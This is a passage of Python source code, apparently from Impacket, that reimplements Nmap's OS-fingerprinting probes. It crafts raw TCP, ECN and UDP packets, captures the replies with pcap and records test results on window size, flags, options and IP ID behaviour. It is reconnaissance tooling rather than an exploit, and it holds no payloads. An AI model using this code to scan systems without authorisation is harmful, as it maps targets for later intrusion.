self.icmp.contains(Data("I" * 150)) + + def process(self, packet): + pass + +class udp_closed_probe(os_id_test): + + ip_id = 0x1234 # HARDCODED + + def __init__(self, id, addresses, udp_closed ): + + os_id_test.__init__(self, id ) + self.e = Ethernet() + self.i = IP() + self.u = UDP() + + self.i.set_ip_src(addresses[0]) + self.i.set_ip_dst(addresses[1]) + self.i.set_ip_id(udp_closed_probe.ip_id) + self.u.set_uh_sport(id) + + self.u.set_uh_dport( udp_closed ) + + self.e.contains(self.i) + self.i.contains(self.u) + self.set_packet(self.e) + + def is_mine(self, packet): + if packet.get_ether_type() != ImpactPacket.IP.ethertype: + return 0 + ip = packet.child() + if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: + return 0 + icmp = ip.child() + if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH: + return 0 + + if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT: + return 0; + + + self.err_data = icmp.child() + if not self.err_data: + return 0 + + + return 1 + + +class tcp_probe(os_id_test): + + def __init__(self, id, addresses, tcp_ports, open_port ): + + self.result_string = "[]" + os_id_test.__init__(self, id) + self.e = Ethernet() + self.i = IP() + self.t = TCP() + self.i.set_ip_src(addresses[0]) + self.i.set_ip_dst(addresses[1]) + self.i.set_ip_id(0x2323) # HARDCODED + self.t.set_th_sport(id) + + if open_port: + self.target_port = tcp_ports[0] + else: + self.target_port = tcp_ports[1] + + self.t.set_th_dport(self.target_port) + + self.e.contains(self.i) + self.i.contains(self.t) + self.set_packet(self.e) + + self.source_ip = addresses[0] + self.target_ip = addresses[1] + + def socket_match(self, ip, tcp): + # scr ip and port + if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port): + return 0 + # dst ip and port + if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()): + return 0 + return 1 + + def is_mine(self, packet): + if packet.get_ether_type() != ImpactPacket.IP.ethertype: + return 0 + ip = packet.child() + if not ip or ip.get_ip_p() != ImpactPacket.TCP.protocol: + return 0 + tcp = ip.child() + if self.socket_match(ip, tcp): + return 1 + + return 0 + + +class nmap_tcp_probe(tcp_probe): + + def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): + tcp_probe.__init__(self, id, addresses, tcp_ports, open_port) + self.t.set_th_seq(sequence) + self.set_resp(False) + for op in options: + self.t.add_option(op) + + def set_resp(self,resp): + pass + +class nmap1_tcp_probe(nmap_tcp_probe): + sequence = 0x8453 # 0xBASE, obviously + mss = 265 + + # From: http://nmap.org/nmap-fingerprinting-old.html + # [...] + # Nmap sends these options along with almost every probe packet: + # Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops; + # [...] + # From nmap-4.22SOC8/osscan.cc:get_fingerprint(...) + # [...] + # "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000" + # [...] + tcp_options = [ + TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 + TCPOption(TCPOption.TCPOPT_NOP), #\001 + TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\010\012\077\077\077\077\000\000\000\000 + TCPOption(TCPOption.TCPOPT_EOL), #\000 + TCPOption(TCPOption.TCPOPT_EOL) #\000 + ] + + def __init__(self, id, addresses, tcp_ports, open_port): + nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, + self.sequence, self.tcp_options) + + def set_resp(self,resp): + if resp: + self.add_result("Resp", "Y") + else: + self.add_result("Resp", "N") + + def process(self, packet): + ip = packet.child() + tcp = ip.child() + + self.set_resp(True) + + if ip.get_ip_df(): + self.add_result("DF", "Y") + else: + self.add_result("DF", "N") + + self.add_result("W", tcp.get_th_win()) + + if tcp.get_th_ack() == self.sequence + 1: + self.add_result("ACK", "S++") + elif tcp.get_th_ack() == self.sequence: + self.add_result("ACK", "S") + else: + self.add_result("ACK", "O") + + flags = [] + + # TCP flags + if tcp.get_ECE(): + flags.append("B") + if tcp.get_URG(): + flags.append("U") + if tcp.get_ACK(): + flags.append("A") + if tcp.get_PSH(): + flags.append("P") + if tcp.get_RST(): + flags.append("R") + if tcp.get_SYN(): + flags.append("S") + if tcp.get_FIN(): + flags.append("F") + + self.add_result("FLAGS", flags) + + options = [] + + for op in tcp.get_options(): + if op.get_kind() == TCPOption.TCPOPT_EOL: + options.append("L") + elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: + options.append("M") + if op.get_mss() == self.mss: + options.append("E") # Echoed + elif op.get_kind() == TCPOption.TCPOPT_NOP: + options.append("N") + elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: + options.append("T") + elif op.get_kind() == TCPOption.TCPOPT_WINDOW: + options.append("W") + + self.add_result("OPTIONS", options) + + def get_final_result(self): + return {self.test_id(): self.get_result_dict()} + + +class nmap2_tcp_probe(nmap_tcp_probe): + acknowledgment = 0x181d4f7b + + def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): + nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, + sequence, options) + self.t.set_th_ack(self.acknowledgment) + + def set_resp(self,resp): + # Responsiveness (R) + # This test simply records whether the target responded to a given probe. + # Possible values are Y and N. If there is no reply, remaining fields + # for the test are omitted. + if resp: + self.add_result("R", "Y") + else: + self.add_result("R", "N") + + def process(self, packet): + ip = packet.child() + tcp = ip.child() + + # R, DF, T*, TG*, W, S, A, F, O, RD*, Q + self.set_resp(True) + + tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment) + + self.add_result("DF", tests.get_df()) + self.add_result("W", tests.get_win()) + self.add_result("S", tests.get_seq()) + self.add_result("A", tests.get_ack()) + self.add_result("F", tests.get_flags()) + self.add_result("O", tests.get_options()) + self.add_result("Q", tests.get_quirks()) + + def get_final_result(self): + return {self.test_id() : self.get_result_dict()} + + +class nmap2_ecn_probe(nmap_tcp_probe): + # From nmap-4.22SOC8/osscan2.cc: + # [...] + # "\003\003\012\001\002\004\005\264\004\002\001\001" + # [...] + + # From: http://nmap.org/book/osdetect-methods.html + # [...] + # This probe tests for explicit congestion notification (ECN) support + # in the target TCP stack. ECN is a method for improving Internet + # performance by allowing routers to signal congestion problems before + # they start having to drop packets. It is documented in RFC 3168. + # Nmap tests this by sending a SYN packet which also has the ECN CWR + # and ECE congestion control flags set. For an unrelated (to ECN) test, + # the urgent field value of 0xF7F5 is used even though the urgent flag + # is not set. The acknowledgment number is zero, sequence number is + # random, window size field is three, and the reserved bit which + # immediately precedes the CWR bit is set. TCP options are WScale (10), + # NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an + # open port. + # [...] + tcp_options = [ + TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 + TCPOption(TCPOption.TCPOPT_NOP), #\001 + TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\002\004\005\0264 + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\004\002 + TCPOption(TCPOption.TCPOPT_NOP), #\001 + TCPOption(TCPOption.TCPOPT_NOP) #\001 + ] + + + def __init__(self, id, addresses, tcp_ports): + nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, + 0x8b6a, self.tcp_options) + self.t.set_SYN() + self.t.set_CWR() + self.t.set_ECE() + self.t.set_flags(0x800) + self.t.set_th_urp(0xF7F5) + self.t.set_th_ack(0) + self.t.set_th_win(3) + #self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000 + + def test_id(self): + return "ECN" + + def set_resp(self,resp): + if resp: + self.add_result("R", "Y") + else: + self.add_result("R", "N") + + def process(self, packet): + ip = packet.child() + tcp = ip.child() + + # R, DF, T*, TG*, W, O, CC, Q + self.set_resp(True) + + tests = nmap2_tcp_tests(ip, tcp, 0, 0) + + self.add_result("DF", tests.get_df()) + self.add_result("W", tests.get_win()) + self.add_result("O", tests.get_options()) + self.add_result("CC", tests.get_cc()) + self.add_result("Q", tests.get_quirks()) + + def get_final_result(self): + return {self.test_id() : self.get_result_dict()} + +class nmap2_tcp_tests: + def __init__(self, ip, tcp, sequence, acknowledgment): + self.__ip = ip + self.__tcp = tcp + self.__sequence = sequence + self.__acknowledgment = acknowledgment + + def get_df(self): + # IP don't fragment bit (DF) + # The IP header contains a single bit which forbids routers from fragmenting + # a packet. If the packet is too large for routers to handle, they will just + # have to drop it (and ideally return a "destination unreachable, + # fragmentation needed" response). This test records Y if the bit is set, + # and N if it isn't. + if self.__ip.get_ip_df(): + return "Y" + else: + return "N" + + def get_win(self): + # TCP initial window size (W, W1-W6) + # This test simply records the 16-bit TCP window size of the received packet. + return "%X" % self.__tcp.get_th_win() + + def get_ack(self): + # TCP acknowledgment number (A) + # This test is the same as S except that it tests how the acknowledgment + # number in the response compares to the sequence number in the + # respective probe. + # Value Description + # Z Acknowledgment number is zero. + # S Acknowledgment number is the same as the sequence number in the probe. + # S+ Acknowledgment number is the same as the sequence number in the probe plus one. + # O Acknowledgment number is something else (other). + if self.__tcp.get_th_ack() == self.__sequence + 1: + return "S+" + elif self.__tcp.get_th_ack() == self.__sequence: + return "S" + elif self.__tcp.get_th_ack() == 0: + return "Z" + else: + return "O" + + def get_seq(self): + # TCP sequence number (S) + # This test examines the 32-bit sequence number field in the TCP + # header. Rather than record the field value as some other tests + # do, this one examines how it compares to the TCP acknowledgment + # number from the probe that elicited the response. + # Value Description + # Z Sequence number is zero. + # A Sequence number is the same as the acknowledgment number in the probe. + # A+ Sequence number is the same as the acknowledgment number in the probe plus one. + # O Sequence number is something else (other). + if self.__tcp.get_th_seq() == self.__acknowledgment + 1: + return "A+" + elif self.__tcp.get_th_seq() == self.__acknowledgment: + return "A" + elif self.__tcp.get_th_seq() == 0: + return "Z" + else: + return "O" + + def get_flags(self): + # TCP flags (F) + # This field records the TCP flags in the response. Each letter represents + # one flag, and they occur in the same order as in a TCP packet (from + # high-bit on the left, to the low ones). So the value SA represents the + # SYN and ACK bits set, while the value AS is illegal (wrong order). + # The possible flags are shown in Table 8.7. + # Character Flag name Flag byte value + # E ECN Echo (ECE) 64 + # U Urgent Data (URG) 32 + # A Acknowledgment (ACK) 16 + # P Push (PSH) 8 + # R Reset (RST) 4 + # S Synchronize (SYN) 2 + # F Final (FIN) 1 + + flags = "" + + if self.__tcp.get_ECE(): + flags += "E" + if self.__tcp.get_URG(): + flags += "U" + if self.__tcp.get_ACK(): + flags += "A" + if self.__tcp.get_PSH(): + flags += "P" + if self.__tcp.get_RST(): + flags += "R" + if self.__tcp.get_SYN(): + flags += "S" + if self.__tcp.get_FIN(): + flags += "F" + + return flags + + def get_options(self): + # Option Name Character Argument (if any) + # End of Options List (EOL) L + # No operation (NOP) N + # Maximum Segment Size (MSS) M The value is appended. Many systems + # echo the value used in the corresponding probe. + # Window Scale (WS) W The actual value is appended. + # Timestamp (TS) T The T is followed by two binary characters + # representing the TSval and TSecr values respectively. + # The characters are 0 if the field is zero + # and 1 otherwise. + # Selective ACK permitted (SACK) S + + options = "" + + for op in self.__tcp.get_options(): + if op.get_kind() == TCPOption.TCPOPT_EOL: + options += "L" + elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: + options += "M%X" % (op.get_mss()) + elif op.get_kind() == TCPOption.TCPOPT_NOP: + options += "N" + elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: + options += "T%i%i" % (int(op.get_ts()!=0), + int(op.get_ts_echo()!=0)) + elif op.get_kind() == TCPOption.TCPOPT_WINDOW: + options += "W%X" % (op.get_shift_cnt()) + elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED: + options += "S" + + return options + + def get_cc(self): + # Explicit congestion notification (CC) + # This test is only used for the ECN probe. That probe is a SYN packet + # which includes the CWR and ECE congestion control flags. When the + # response SYN/ACK is received, those flags are examined to set the + # CC (congestion control) test value as described in Table 8.3. + + # Table 8.3. CC test values + # Value Description + # Y Only the ECE bit is set (not CWR). This host supports ECN. + # N Neither of these two bits is set. The target does not support + # ECN. + # S Both bits are set. The target does not support ECN, but it + # echoes back what it thinks is a reserved bit. + # O The one remaining combination of these two bits (other). + ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR() + if ece and not cwr: + return "Y" + elif not ece and not cwr: + return "N" + elif ece and cwr: + return "S" + else: + return "O" + + def get_quirks(self): + # TCP miscellaneous quirks (Q) + # This tests for two quirks that a few implementations have in their + # TCP stack. The first is that the reserved field in the TCP header + # (right after the header length) is nonzero. This is particularly + # likely to happen in response to the ECN test as that one sets a + # reserved bit in the probe. If this is seen in a packet, an "R" + # is recorded in the Q string. + + # The other quirk Nmap tests for is a nonzero urgent pointer field + # value when the URG flag is not set. This is also particularly + # likely to be seen in response to the ECN probe, which sets a + # non-zero urgent field. A "U" is appended to the Q string when + # this is seen. + + # The Q string must always be generated in alphabetical order. + # If no quirks are present, the Q test is empty but still shown. + + quirks = "" + + if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0: + quirks += "R" + if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0: + quirks += "U" + + return quirks + +class nmap2_tcp_probe_2_6(nmap2_tcp_probe): + sequence = 0x8453 # 0xBASE, obviously + mss = 265 + + # From nmap-4.22SOC8/osscan2.cc: + # [...] + # "\003\003\012\001\002\004\001\011\010\012\377\377\377\377\000\000\000\000\004\002" + # [...] + + # From: http://nmap.org/book/osdetect-methods.html + # [...] + # The six T2 through T7 tests each send one TCP probe packet. + # With one exception, the TCP options data in each case is (in hex) + # 03030A0102040109080AFFFFFFFF000000000402. + # Those 20 bytes correspond to window scale (10), NOP, MSS (265), + # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted. + # (... + tcp_options = [ + TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 + TCPOption(TCPOption.TCPOPT_NOP), #\001 + TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 + ] + + def __init__(self, id, addresses, tcp_ports, open_port): + nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, + self.sequence, self.tcp_options) + +class nmap2_tcp_probe_7(nmap2_tcp_probe): + sequence = 0x8453 # 0xBASE, obviously + mss = 265 + + # ...) + # The exception is that T7 uses a Window scale value of 15 rather than 10 + # [...] + tcp_options = [ + TCPOption(TCPOption.TCPOPT_WINDOW, 017), #\003\003\017 + TCPOption(TCPOption.TCPOPT_NOP), #\001 + TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 + ] + + def __init__(self, id, addresses, tcp_ports, open_port): + nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, + self.sequence, self.tcp_options) + +class nmap_port_unreachable(udp_closed_probe): + + def __init__(self, id, addresses, ports): + udp_closed_probe.__init__(self, id, addresses, ports[2]) + self.set_resp(False) + + def test_id(self): + pass + + def set_resp(self, resp): + pass + + def process(self, packet): + pass + +class nmap1_port_unreachable(nmap_port_unreachable): + + def __init__(self, id, addresses, ports): + nmap_port_unreachable.__init__(self, id, addresses, ports) + self.u.contains(Data("A" * 300)) + + def test_id(self): + return "PU" + + def set_resp(self,resp): + if resp: + self.add_result("Resp", "Y") + else: + self.add_result("Resp", "N") + + def process(self, packet): + ip_orig = self.err_data + if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: + return + + udp = ip_orig.child() + + if not udp: + return + + ip = packet.child() + + self.set_resp(True) + + if ip.get_ip_df(): + self.add_result("DF", "Y") + else: + self.add_result("DF", "N") + + self.add_result("TOS", ip.get_ip_tos()) + + self.add_result("IPLEN", ip.get_ip_len()) + + self.add_result("RIPTL", ip_orig.get_ip_len()) # Some systems return a different IPLEN + + recv_ip_id = ip_orig.get_ip_id() + if 0 == recv_ip_id: + self.add_result("RID", "0") + elif udp_closed_probe.ip_id == recv_ip_id: + self.add_result("RID", "E") + else: + self.add_result("RID", "F") + + ip_sum = ip_orig.get_ip_sum() + ip_orig.set_ip_sum(0) + checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) + + if 0 == checksum: + self.add_result("RIPCK", "0") + elif checksum == ip_sum: + self.add_result("RIPCK", "E") + else: + self.add_result("RIPCK", "F") + + udp_sum = udp.get_uh_sum() + udp.set_uh_sum(0) + udp.auto_checksum = 1 + udp.calculate_checksum() + + if 0 == udp_sum: + self.add_result("UCK", "0") + elif self.u.get_uh_sum() == udp_sum: + self.add_result("UCK", "E") + else: + self.add_result("UCK", "F") + + self.add_result("ULEN", udp.get_uh_ulen()) + + if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data + self.add_result("DAT", "E") + else: + self.add_result("DAT", "F") + + def get_final_result(self): + return {self.test_id(): self.get_result_dict()} + +class nmap2_port_unreachable(nmap_port_unreachable): + # UDP (U1) + # This probe is a UDP packet sent to a closed port. The character 'C' + # (0x43) is repeated 300 times for the data field. The IP ID value is + # set to 0x1042 for operating systems which allow us to set this. If + # the port is truly closed and there is no firewall in place, Nmap + # expects to receive an ICMP port unreachable message in return. + # That response is then subjected to the R, DF, T, TG, TOS, IPL, UN, + # RIPL, RID, RIPCK, RUCK, RUL, and RUD tests. + def __init__(self, id, addresses, ports): + nmap_port_unreachable.__init__(self, id, addresses, ports) + self.u.contains(Data("C" * 300)) + self.i.set_ip_id(0x1042) + + def test_id(self): + return "U1" + + def set_resp(self,resp): + if resp: + self.add_result("R", "Y") + else: + self.add_result("R", "N") + + def process(self, packet): + ip_orig = self.err_data + if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: + return + + udp = ip_orig.child() + + if not udp: + return + + ip = packet.child() + + icmp = ip.child() + + if ip.get_ip_df(): + self.add_result("DF", "Y") + else: + self.add_result("DF", "N") + + # XXX T + # IP initial time-to-live (T) + # IP packets contain a field named time-to-live (TTL) which is + # decremented every time they traverse a router. If the field + # reaches zero, the packet must be discarded. This prevents + # packets from looping endlessly. Because operating systems differ + # on which TTL they start with, it can be used for OS detection. + # Nmap determines how many hops away it is from the target by + # examining the ICMP port unreachable response to the U1 probe. + # That response includes the original IP packet, including the + # already-decremented TTL field, received by the target. By + # subtracting that value from our as-sent TTL, we learn how many + # hops away the machine is. Nmap then adds that hop distance to + # the probe response TTL to determine what the initial TTL was + # when that ICMP probe response packet was sent. That initial TTL + # value is stored in the fingerprint as the T result. + # Even though an eight-bit field like TTL can never hold values + # greater than 0xFF, this test occasionally results in values of + # 0x100 or higher. This occurs when a system (could be the source, + # a target, or a system in between) corrupts or otherwise fails to + # correctly decrement the TTL. It can also occur due to asymmetric + # routes. + + # XXX TG + # IP initial time-to-live guess (TG) + # It is not uncommon for Nmap to receive no response to the U1 probe, + # which prevents Nmap from learning how many hops away a target is. + # Firewalls and NAT devices love to block unsolicited UDP packets. + # But since common TTL values are spread well apart and targets are + # rarely more than 20 hops away, Nmap can make a pretty good guess + # anyway. Most systems send packets with an initial TTL of 32, 60, 64, + # 128, or 255. So the TTL value received in the response is rounded + # up to the next value out of 32, 64, 128, or 255. 60 is not in that + # list because it cannot be reliably distinguished from 64. It is + # rarely seen anyway. + # The resulting guess is stored in the TG field. This TTL guess field + # is not printed in a subject fingerprint if the actual TTL (T) value + # was discovered. + + # IP type of service (TOS) + # This test simply records the type of service byte from the + # IP header of ICMP port unreachable packets. + # This byte is described in RFC 791 + self.add_result("TOS", "%X" % ip.get_ip_tos()) + + # IP total length (IPL) + # This test records the total length (in octets) of an IP packet. + # It is only used for the port unreachable response elicited by the + # U1 test. + self.add_result("IPL", "%X" % ip.get_ip_len()) + + # Unused port unreachable field nonzero (UN) + # An ICMP port unreachable message header is eight bytes long, but + # only the first four are used. RFC 792 states that the last four + # bytes must be zero. A few implementations (mostly ethernet switches + # and some specialized embedded devices) set it anyway. The value of + # those last four bytes is recorded in this field. + self.add_result("UN", "%X" % icmp.get_icmp_void()) + + # Returned probe IP total length value (RIPL) + # ICMP port unreachable messages (as are sent in response to the U1 + # probe) are required to include the IP header which generated them. + # This header should be returned just as they received it, but some + # implementations send back a corrupted version due to changes they + # made during IP processing. This test simply records the returned + # IP total length value. If the correct value of 0x148 (328) is + # returned, the value G (for good) is stored instead of the actual value. + if ip_orig.get_ip_len() == 0x148: + self.add_result("RIPL","G") + else: + self.add_result("RIPL", "%X" % ip_orig.get_ip_len()) + + # Returned probe IP ID value (RID) + # The U1 probe has a static IP ID value of 0x1042. If that value is + # returned in the port unreachable message, the value G is stored for + # this test. Otherwise the exact value returned is stored. Some systems, + # such as Solaris, manipulate IP ID values for raw IP packets that + # Nmap sends. In such cases, this test is skipped. We have found + # that some systems, particularly HP and Xerox printers, flip the bytes + # and return 0x4210 instead. + if 0x1042 == ip_orig.get_ip_id(): + self.add_result("RID", "G") + else: + self.add_result("RID", "%X" % ip_orig.get_ip_id()) + + # Integrity of returned probe IP checksum value (RIPCK) + # The IP checksum is one value that we don't expect to remain the same + # when returned in a port unreachable message. After all, each network + # hop during transit changes the checksum as the TTL is decremented. + # However, the checksum we receive should match the enclosing IP packet. + # If it does, the value G (good) is stored for this test. If the returned + # value is zero, then Z is stored. Otherwise the result is I (invalid). + ip_sum = ip_orig.get_ip_sum() + ip_orig.set_ip_sum(0) + checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) + + if 0 == checksum: + self.add_result("RIPCK", "Z") + elif checksum == ip_sum: + self.add_result("RIPCK", "G") + else: + self.add_result("RIPCK", "I") + + # Integrity of returned probe UDP length and checksum (RUL and RUCK) + # The UDP header length and checksum values should be returned exactly + # as they were sent. If so, G is recorded for these tests. Otherwise + # the value actually returned is recorded. The proper length is 0x134 (308). + udp_sum = udp.get_uh_sum() + udp.set_uh_sum(0) + udp.auto_checksum = 1 + udp.calculate_checksum() + + if self.u.get_uh_sum() == udp_sum: + self.add_result("RUCK", "G") + else: + self.add_result("RUCK", "%X" % udp_sum) + + if udp.get_uh_ulen() == 0x134: + self.add_result("RUL","G") + else: + self.add_result("RUL", "%X" % udp.get_uh_ulen()) + + # Integrity of returned UDP data (RUD) + # If the UDP payload returned consists of 300 'C' (0x43) + # characters as expected, a G is recorded for this test. + # Otherwise I (invalid) is recorded. + if ip.child().child().child().child() == udp.child(): + self.add_result("RUD", "G") + else: + self.add_result("RUD", "I") + + def get_final_result(self): + return {self.test_id(): self.get_result_dict()} + +class OS_ID: + + def __init__(self, target, ports): + pcap_dev = pcap.lookupdev() + self.p = pcap.open_live(pcap_dev, 600, 0, 3000) + + self.__source = self.p.getlocalip() + self.__target = target + + self.p.setfilter("src host %s and dst host %s" % (target, self.__source), 1, 0xFFFFFF00) + self.p.setmintocopy(10) + self.decoder = EthDecoder() + + self.tests_sent = [] + self.outstanding_count = 0 + self.results = {} + self.current_id = 12345 + + self.__ports = ports + + def releasePcap(self): + if not (self.p is None): + self.p.close() + + def get_new_id(self): + id = self.current_id + self.current_id += 1 + self.current_id &= 0xFFFF + return id + + def send_tests(self, tests): + self.outstanding_count = 0 + + for t_class in tests: + + # Ok, I need to know if the constructor accepts the parameter port + # We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :( + if t_class.__init__.im_func.func_code.co_argcount == 4: + test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports ) + else: + test = t_class(self.get_new_id(), [self.__source, self.__target] ) + + self.p.sendpacket(test.get_test_packet()) + self.outstanding_count += 1 + self.tests_sent.append(test) + while self.p.readready(): + self.p.dispatch(1, self.packet_handler) + + while self.outstanding_count > 0: + data = self.p.next()[0] + if data: + self.packet_handler(0, data) + else: + break + + def run(self): + pass + + def get_source(self): + return self.__source + + def get_target(self): + return self.__target + + def get_ports(self): + return self.__ports + + def packet_handler(self, len, data): + packet = self.decoder.decode(data) + + for t in self.tests_sent: + if t.is_mine(packet): + t.process(packet) + self.outstanding_count -= 1 + + +class nmap1_tcp_open_1(nmap1_tcp_probe): + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_ECE() + self.t.set_SYN() + + def test_id(self): + return "T1" + + def is_mine(self, packet): + if tcp_probe.is_mine(self, packet): + ip = packet.child() + if not ip: + return 0 + tcp = ip.child() + if not tcp: + return 0 + if tcp.get_SYN() and tcp.get_ACK(): + return 1 + else: + return 0 + else: + return 0 + + +class nmap1_tcp_open_2(nmap1_tcp_probe): + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) + + def test_id(self): + return "T2" + +class nmap2_tcp_open_2(nmap2_tcp_probe_2_6): + # From: http://nmap.org/book/osdetect-methods.html + # [...] + # T2 sends a TCP null (no flags set) packet with the IP DF bit set and a + # window field of 128 to an open port. + # ... + def __init__(self, id, addresses, tcp_ports): + nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) + self.i.set_ip_df(1) + self.t.set_th_win(128) + + def test_id(self): + return "T2" + +class nmap1_tcp_open_3(nmap1_tcp_probe): + def __init__(self, id, addresses, tcp_ports ): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_SYN() + self.t.set_FIN() + self.t.set_URG() + self.t.set_PSH() + + def test_id(self): + return "T3" + +class nmap2_tcp_open_3(nmap2_tcp_probe_2_6): + # ... + # T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a + # window field of 256 to an open port. The IP DF bit is not set. + # ... + def __init__(self, id, addresses, tcp_ports ): + nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_SYN() + self.t.set_FIN() + self.t.set_URG() + self.t.set_PSH() + self.t.set_th_win(256) + self.i.set_ip_df(0) + + def test_id(self): + return "T3" + +class nmap1_tcp_open_4(nmap1_tcp_probe): + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_ACK() + + def test_id(self): + return "T4" + +class nmap2_tcp_open_4(nmap2_tcp_probe_2_6): + # ... + # T4 sends a TCP ACK packet with IP DF and a window field of 1024 to + # an open port. + # ... + def __init__(self, id, addresses, tcp_ports ): + nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_ACK() + self.i.set_ip_df(1) + self.t.set_th_win(1024) + + def test_id(self): + return "T4" + + +class nmap1_seq(nmap1_tcp_probe): + SEQ_UNKNOWN = 0 + SEQ_64K = 1 + SEQ_TD = 2 + SEQ_RI = 4 + SEQ_TR = 8 + SEQ_i800 = 16 + SEQ_CONSTANT = 32 + + TS_SEQ_UNKNOWN = 0 + TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 + TS_SEQ_2HZ = 2 + TS_SEQ_100HZ = 3 + TS_SEQ_1000HZ = 4 + TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp + + IPID_SEQ_UNKNOWN = 0 + IPID_SEQ_INCR = 1 # simple increment by one each time + IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms + IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment + IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) + IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates + IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) + + def __init__(self, id, addresses, tcp_ports): + nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) + self.t.set_SYN() + self.t.set_th_seq(id) # Used to match results with sent packets. + + def process(self, p): + raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) + + +class nmap2_seq(nmap2_tcp_probe): + TS_SEQ_UNKNOWN = 0 + TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 + TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp + + IPID_SEQ_UNKNOWN = 0 + IPID_SEQ_INCR = 1 # simple increment by one each time + IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms + IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment + IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) + IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates + IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) + + def __init__(self, id, addresses, tcp_ports, options): + nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, + id, options) + self.t.set_SYN() + + def process(self, p): + raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) + +class nmap2_seq_1(nmap2_seq): + # Packet #1: window scale (10), + # NOP, + # MSS (1460), + # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), + # SACK permitted. + # The window field is 1. + tcp_options = [ + TCPOption(TCPOption.TCPOPT_WINDOW, 10), + TCPOption(TCPOption.TCPOPT_NOP), + TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), + TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), + TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) + ] + + def __init__(self, id, addresses, tcp_ports): + nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) + self.t.set_th_win(1) + +class nmap2_seq_2(nmap2_seq): + # Packet #2: MSS (1400), + # window scale (0), + # SACK permitted, + # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), + # EOL. + 